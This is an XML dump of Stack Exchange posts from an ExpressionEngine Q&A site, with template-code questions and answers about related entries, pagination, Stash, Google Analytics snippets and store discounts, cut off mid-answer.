  <row Id="25206" PostTypeId="1" CreationDate="2014-08-20T13:36:27.120" Score="2" ViewCount="84" Body="&lt;p&gt;We have Playa installed on our site and I wanted to use it to create a Related Articles box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have in an embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Related Articles Box --&amp;gt;&#xA;{if related_articles!=&quot;&quot;} &amp;lt;br&amp;gt;&#xA;    &amp;lt;div id=&quot;related-articles&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Related Articles&amp;lt;/h4&amp;gt;  &#xA;        &amp;lt;div class=&quot;col&quot;&amp;gt;    &#xA;        &amp;lt;div class=&quot;cat&quot;&amp;gt;For more information about this topic see the following articles:&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&#xA;        {exp:channel:entries channel=&quot;whats_happening|learn_more&quot;}&#xA;            &amp;lt;ul&amp;gt;&#xA;        {exp:playa:children  field=&quot;related_articles&quot; field_id=&quot;52&quot; }&#xA;            &amp;lt;li&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path=library/article/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;br&amp;gt;&#xA;            {/exp:playa:children}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end .col --&amp;gt; &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end #related-articles --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the parent template is calling this embedded one correctly because when I view Page Source I see my comments  and  but nothing in between gets displayed so it's gotta be a problem with this code right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is I had this working a few weeks ago and at some point it stopped working. I didn't notice until a coworker asked me what happened to it. The only thing I remember doing on the site was updating a couple of plugins so I rolled back to the previous versions but it still doesn't work now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of what else to try. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="3449" LastActivityDate="2014-08-20T13:54:58.363" Title="Related entries using Playa" Tags="|playa|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25208" PostTypeId="2" ParentId="25206" CreationDate="2014-08-20T13:54:58.363" Score="3" Body="&lt;p&gt;Looks like your missing &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; parameter on the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag. However, it seems like you might be over complicating things as the &lt;code&gt;exp:playa:children&lt;/code&gt; would work by itself if you pass a embedded variable with the &lt;code&gt;entry_id&lt;/code&gt; of the parent to the embedded playa:children tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children entry_id=&quot;{embed:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-08-20T13:54:58.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25210" PostTypeId="2" ParentId="25182" CreationDate="2014-08-20T14:08:48.490" Score="2" Body="&lt;p&gt;Move the click handler to the wrapping div.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $('#cal_container').on('click', '#prev, #next', function(event) {&#xA;       event.preventDefault(); /* Act on the event */ &#xA;}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has to do with the original event handler in your code not being passed to the dynamically inserted html. There's a good explanation found here: &lt;a href=&quot;http://toddmotto.com/attaching-event-handlers-to-dynamically-created-javascript-elements/&quot; rel=&quot;nofollow&quot;&gt;http://toddmotto.com/attaching-event-handlers-to-dynamically-created-javascript-elements/&lt;/a&gt; and in the jquery docs for the .on method here: &lt;a href=&quot;http://api.jquery.com/on/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/on/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By moving the click handler to an element that's unchanged in your original html (i.e. #cal_container) you can work around it.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-20T14:08:48.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25211" PostTypeId="2" ParentId="25197" CreationDate="2014-08-20T15:05:03.830" Score="3" Body="&lt;p&gt;The error points you to line 46 of the Autoloader.php file. That line of code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset(static::$instance))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line of code will only run in PHP 5.3.0 or newer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/requirements.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ExpressionEngine 2.9 requires PHP 5.3.10 or newer&lt;/strong&gt;&lt;/a&gt; and you're getting the error because your PHP version is older than this.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-08-20T15:05:03.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25212" PostTypeId="2" ParentId="25178" CreationDate="2014-08-20T15:12:21.853" Score="1" Body="&lt;p&gt;First think I'd check is that the server meets EE's minimum server requirements:&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/requirements.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/installation/requirements.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a server Compatibility Wizard you can download here:&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/requirements.html#server-compatibility-wizard&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/installation/requirements.html#server-compatibility-wizard&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If the server meets the requirements, I'd next run the installation in another browser that is not Chrome. Chrome seems to hold on to cache way too aggressively which may be the source of the issue.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-08-20T15:12:21.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25213" PostTypeId="1" CreationDate="2014-08-20T16:31:08.613" Score="2" ViewCount="1890" Body="&lt;p&gt;Everytime I add the tacking code to the source code on the websiet, EE strip it out. Is there anyway to get it to stay without using a plugin? &lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2017-01-23T17:31:10.620" Title="Adding Google Analytics tracking code to website footer" Tags="|tracking|google-analytics|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25214" PostTypeId="2" ParentId="25213" CreationDate="2014-08-20T17:25:36.463" Score="2" Body="&lt;p&gt;Put it in the template as opposed to in a field type. If you need to be able to change the number, just make that a field instead. Just put this in the template and replace {yourfieldhere}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script&amp;gt;&#xA;  var _gaq=[['_setAccount','{yourfieldhere}'],['_trackPageview']];&#xA;  setTimeout(&quot;_gaq.push(['_trackEvent', '15_seconds', 'read'])&quot;,15000);&#xA;  (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];&#xA;  g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';&#xA;  s.parentNode.insertBefore(g,s)}(document,'script'));&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-20T17:25:36.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25215" PostTypeId="1" AcceptedAnswerId="25330" CreationDate="2014-08-20T17:45:33.150" Score="0" ViewCount="62" Body="&lt;p&gt;I know, still asking newbie questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is because I am running version 2.3.1, but it's not working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom field options and I am trying to sort the checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In the products template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_sizes markup=&quot;ul&quot; orderby=&quot;product_sizes&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) In the Channel Fields&gt; Edit Field&gt; Field Options, I have literally ordered the options manually. They have to come up in order, right? Nope&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know what I am missing or is this a known issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update with example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;32 oz, 32 servings&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;4 oz, 4 servings&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;16 oz, 16 servings&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like it to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;4 oz, 4 servings&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;16 oz, 16 servings&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;32 oz, 32 servings&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_sizes markup=&quot;ul&quot; orderby=&quot;field_list_items&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I change the database type for field_list_items from &quot;text&quot; to something else. I have read in other postings, that it cannot sort unless you change the type to INT, but how would I have a list of checkboxes, if it is type INT?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="3145" LastEditDate="2014-08-20T20:42:29.147" LastActivityDate="2014-08-26T21:35:28.460" Title="Order Channel Custom Field Options" Tags="|custom-fields|channel-fields|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25216" PostTypeId="1" AcceptedAnswerId="25412" CreationDate="2014-08-20T19:23:26.950" Score="0" ViewCount="77" Body="&lt;p&gt;We’re currently setting up an Expresso Store and are having a hard time getting the categories to show up in the url through a relationship field.   Essentially, we’d like the user to be able to select a product through a relationship field and then have that product’s parent category (ideally parent and child if present) in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting path would be template_group/category/{parent}/{child}/{individual-product-here}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:entries channel=“products&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;                        &amp;lt;!— Relationship Field Begins —&amp;gt;&#xA;                        {related_product_1}&#xA;                        {exp:store:product entry_id=&quot;{related_product_1:entry_id}&quot; form_class=&quot;form-horizontal&quot; return=&quot;store/shopping-cart&quot;}&#xA;                        &amp;lt;div class=&quot;product&quot;&amp;gt;&#xA;                            {exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;                            {related_product_1:product_gallery}&#xA;                            &amp;lt;img src=&quot;{image:url:listing}&quot; alt=&quot;{title}&quot;  /&amp;gt;&#xA;                            {/related_product_1:product_gallery}&#xA;                            {/exp:channel_images:images}&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{related_product_1:title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p class=&quot;product-description&quot;&amp;gt;&#xA;                            {exp:trunchtml chars=&quot;60&quot; ending=&quot;...&quot;}{related_product_1:product_description}{/exp:trunchtml}  &#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p class=“product-price&quot;&amp;gt;{if on_sale}{price}{if:else}{regular_price}{/if}&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;                            &amp;lt;a href=“{url_title_path=“products/category/…. need help”}”&amp;gt;&amp;lt;div class=“glass”&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;                            {!--&amp;lt;button class=&quot;add-to-cart&quot; type=&quot;submit&quot; value=&quot;Add to Cart&quot;&amp;gt;&amp;lt;/button&amp;gt;--}&#xA;                            &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;div class=&quot;add-to-cart&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;     &#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:store:product}&#xA;                        {/related_product_1}&#xA;                        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;I think I have a resolution with the item, but the displayed results truncate… any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=”{path=&quot;products/category/{category_url_title}/{related_product_1:url_title}”}”&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generates this url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/products/category/%7Bcategory_url_title/category/controls/featured-product-name-5&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/products/category/%7Bcategory_url_title/category/controls/featured-product-name-5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m not sure why the category_url_title is not accurate? Adds a %7B… then the category_url_title… but then completes the category url.&lt;/p&gt;&#xA;" OwnerUserId="2471" LastEditorUserId="2471" LastEditDate="2014-08-20T20:00:39.740" LastActivityDate="2014-08-29T19:54:39.167" Title="Category URL Structure in Espresso Store with Relationship Field" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25217" PostTypeId="1" CreationDate="2014-08-20T20:33:22.677" Score="0" ViewCount="37" Body="&lt;p&gt;Is it possible to allow a user to upload a file using a stand-alone entry form and then be able to replace it with a new file?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-08-20T20:33:22.677" Title="Upload and replace files" Tags="|safecracker|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25218" PostTypeId="2" ParentId="25213" CreationDate="2014-08-20T21:33:56.873" Score="4" Body="&lt;p&gt;Just to echo Johnathan's answer, I put my Google Analytics tracking code in a Global Variable (usually called footer) which is added to each template.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2014-08-20T21:33:56.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25219" PostTypeId="2" ParentId="17590" CreationDate="2014-08-20T21:39:21.253" Score="1" Body="&lt;p&gt;Say you had a grid field named 'submenu' with 3 columns in it. One dropdown named 'Target' and two text fields named 'Link', and 'Text'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to see if there are rows first like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if submenu:total_rows &amp;gt; 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then open the grid field and loop through the rows like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{submenu}&#xA;    Your data...&#xA;{/submenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would end up with something like this, depending on your markup and what you choose to qualify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if submenu:total_rows &amp;gt; 0}&#xA;    &amp;lt;ul class=&quot;subnav&quot;&amp;gt;&#xA;        {submenu}&#xA;            &amp;lt;li class=&quot;subnav-item&quot;&amp;gt;&#xA;                &amp;lt;a {if &quot;{submenu:link&quot;}!=&quot;&quot;}href=&quot;{submenu:link}&quot;{/if}{if &quot;{submenu:target}&quot;==&quot;External&quot;} target=&quot;_blank&quot;&amp;gt;{if &quot;{submenu:text}&quot;!=&quot;&quot;}{submenu:text}{/if}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/submenu}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-08-20T21:39:21.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25220" PostTypeId="1" CreationDate="2014-08-20T21:44:59.330" Score="0" ViewCount="186" Body="&lt;p&gt;I am using stash to store some common site data and would like to use a grid field to store one of the fields with the user having the option to input 0-4 rows. Is there a way to do this with stash? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I was stashing the variables is there anything I use like the switch statement with stash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_field}&#xA;    {exp:stash:row_{switch='1|2|3|4'}_col_1}{grid_field:col_1}{/exp:stash:row_{switch='1|2|3|4'}_col_1}&#xA;    {exp:stash:row_{switch='1|2|3|4'}_col_2}{grid_field:col_2}{/exp:stash:row_{switch='1|2|3|4'}_col_2}&#xA;{/grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2015-06-17T04:39:56.567" Title="Storing grid data with stash" Tags="|ee2|stash|grid|switch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25221" PostTypeId="2" ParentId="25220" CreationDate="2014-08-20T21:59:54.670" Score="1" Body="&lt;p&gt;WOW! I'm an idiot. lol &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read right past the lists in the docs. Thanks for a great add on and doc set Mark.  ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Lists&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;mini_links&quot; parse_tags=&quot;yes&quot;}&#xA;    {mini_links}&#xA;        {stash:href}{mini_links:link}{/stash:href}&#xA;        {stash:text}{mini_links:title}{/stash:text}&#xA;    {/mini_links}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav id=&quot;sub-menu&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list name=&quot;mini_links&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{href}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-08-20T21:59:54.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25224" PostTypeId="2" ParentId="25189" CreationDate="2014-08-21T04:46:47.500" Score="0" Body="&lt;p&gt;I found a commented out line at the end of cartthrob/plugins/discount/Cartthrob_discount_free_order.php. I uncommented that line and commented out the replacement line (&lt;code&gt;return 0;&lt;/code&gt;). This seems to work, but I assume there was a reason it was commented out in the first place, so I'm not sure if I've broken anything else....&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2014-08-21T04:46:47.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25225" PostTypeId="1" CreationDate="2014-08-21T09:30:15.857" Score="0" ViewCount="60" Body="&lt;p&gt;I bought a license of Exp:resso Store, with the idea that it supports Rabo OmniKassa payment gateway, as mentioned by Exp:resso itself in there &lt;a href=&quot;https://www.exp-resso.com/docs/release_notes.html#store_1_6_0&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to setup the payment gateway information and notice that it is not available in store 2.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I contacted Exp:resso about this and they said that the payment gateway was dropped as of version 2.x. But they also told me that will look at it at try to re-implement it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what they said 6 weeks ago. But radio silence since that last e-mail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I e-mailed them a couple of times, but only receiving a default answer but no real answer. In my opinion, the support is very bad voor Exp:resso store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, they well fix my issue. But until then, maybe I have to fix it myself. But how will I be able to do so, of does anyone already have done this? Implementing support for Rabo OmniKassa.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2015-11-05T13:41:00.180" Title="Rabo Omnikassa support for exp:resso store" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25226" PostTypeId="1" AcceptedAnswerId="25235" CreationDate="2014-08-21T09:33:08.617" Score="0" ViewCount="635" Body="&lt;p&gt;I downloaded Expression Engine Core, the free version of EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this version save templates as files or only in the database?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-08-21T12:07:37.257" Title="Expression Engine Core (Free Version) Templates" Tags="|ee2|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25228" PostTypeId="1" CreationDate="2014-08-21T09:44:56.753" Score="1" ViewCount="284" Body="&lt;p&gt;Okay first of all, many apologies for the title of this post. Having a bit of a brain drain today and couldn't really think of a better way of putting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here goes though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Structure on a site running EE 2.6.1. I'd like to have a page which is called 'Winners'. That page is linked to a Channel which will store all the winners names and they will be displayed on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good and easy to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up I need to have each of those winners names clickable and to go to a new template which will be a blog type page which will show entries from another channel which are related to the winner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - A page which lists winners (all entries in a winners channel)&#xA;2 - Each name is clickable to another template&#xA;3 - When reaching this template a Channel tag is on the page (winners_blog)&#xA;4 - The entries in this Channel (winners_blog) have a relationship field to relate them to the winners.&#xA;5 - This template will then only show blog posts for that winner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 &amp;amp; 2 are done but I'm having a brain drain on how to now only show the blog posts related to the winner once on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone understands what I'm on about here and can lend a quick hand then that would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2020-03-20T14:01:55.420" Title="How to show related channel entries using Structure?" Tags="|structure|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25230" PostTypeId="1" AcceptedAnswerId="25248" CreationDate="2014-08-21T10:00:20.100" Score="1" ViewCount="87" Body="&lt;p&gt;I want to use pagination to paginate article in the &quot;news&quot; section but only those that have a &quot;Yes&quot; statement in the calendar_add field. calendar_add is a switch (pill) field where you can choose from Yes and No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pagination does not work. If I remove {if calendar_add == &quot;Yes&quot;} is works fine but paginates all the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields|member_data|trackbacks&quot;&quot;} &#xA;&#xA;    {if calendar_add == &quot;Yes&quot;}&#xA;&#xA;      {title}&#xA;&#xA;      {paginate}&#xA;           {exp:string:set name=&quot;pagination&quot;}&#xA;        {if next_page}&#xA;            &amp;lt;a class=&quot;button pagination&quot; href=&quot;{auto_path}&quot;&amp;gt;NESTE SIDE »&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;        {if previous_page}&#xA;            &amp;lt;a class=&quot;button pagination&quot; href=&quot;{auto_path}&quot;&amp;gt;« FORRIGE SIDE&amp;lt;/a&amp;gt; &amp;amp;nbsp;&#xA;            {/if}&#xA;        {/exp:string:set}&#xA;      {/paginate}&#xA;&#xA;      {/if}&#xA;      {/exp:channel:entries}&#xA;      &amp;lt;div class=&quot;article-block&quot;&amp;gt;{embed=&quot;hjem/pagination&quot;}&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="249" LastActivityDate="2014-08-21T15:17:55.240" Title="Pagination and conditionals in entry tag not working" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25231" PostTypeId="1" CreationDate="2014-08-21T11:10:29.983" Score="0" ViewCount="35" Body="&lt;p&gt;Currently I am using Expresso Store for my checkout module using EE2. When I add a product - which got a 50% discount - to the cart, the &lt;code&gt;{order_discount}&lt;/code&gt; tag displays half the price of the product which is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I remove the product from the cart and remove the sale from that product via the backend and re-add the product (which previously had the sale), the &lt;code&gt;{order_discount}&lt;/code&gt; still displays half the price as this discount is already recorded in the database. Should the removal of the product not reset/retract the discount from the &lt;code&gt;{order_discount}&lt;/code&gt; tag or database? Is there a way to work around this?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-08-21T12:08:20.907" Title="{order_discount} Not Resetting" Tags="|expresso-store|ee2|checkout|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25232" PostTypeId="1" CreationDate="2014-08-21T11:16:50.880" Score="0" ViewCount="311" Body="&lt;p&gt;I recently upgraded a site from EE2.5.4 to EE2.9 and upgraded Forms from 3.3.1 to 3.4.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the old version of the site, forms were storing in the dashboard &amp;amp; sending the relevant emails to admin &amp;amp; user. Since the upgrade I get the error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Forms Module requires jQuery 1.3 or higher. &#xA;(jQuery not found)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whenever I load a page with a form on it &amp;amp; the form doesn't save or send. I'm not seeing the success message either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;has anyone come across this &amp;amp; fixed it before?&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-08-27T13:15:20.907" Title="DevDemon Forms: The Forms Module requires jQuery 1.3 or higher. (jQuery not found)" Tags="|error|jquery|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25233" PostTypeId="2" ParentId="12484" CreationDate="2014-08-21T11:30:26.237" Score="2" Body="&lt;p&gt;Yes there is! Andrew Weaver's Purgedata plugin will do exactly this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/purgedata&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin page on brandnewbox&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_purgedata/src&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download EE 2.x version from Bitbucket&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From his website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Delete content from selected weblogs that is older than a specified time&lt;/li&gt;&#xA;  &lt;li&gt;Ideal to accompany FeedGrab, CSVGrab and XMLGrab.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It works by adding the plugin's tag to an EE template and visiting the URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_purgedata&#xA;  channel=&quot;9&quot;&#xA;  days=&quot;2&quot;&#xA;  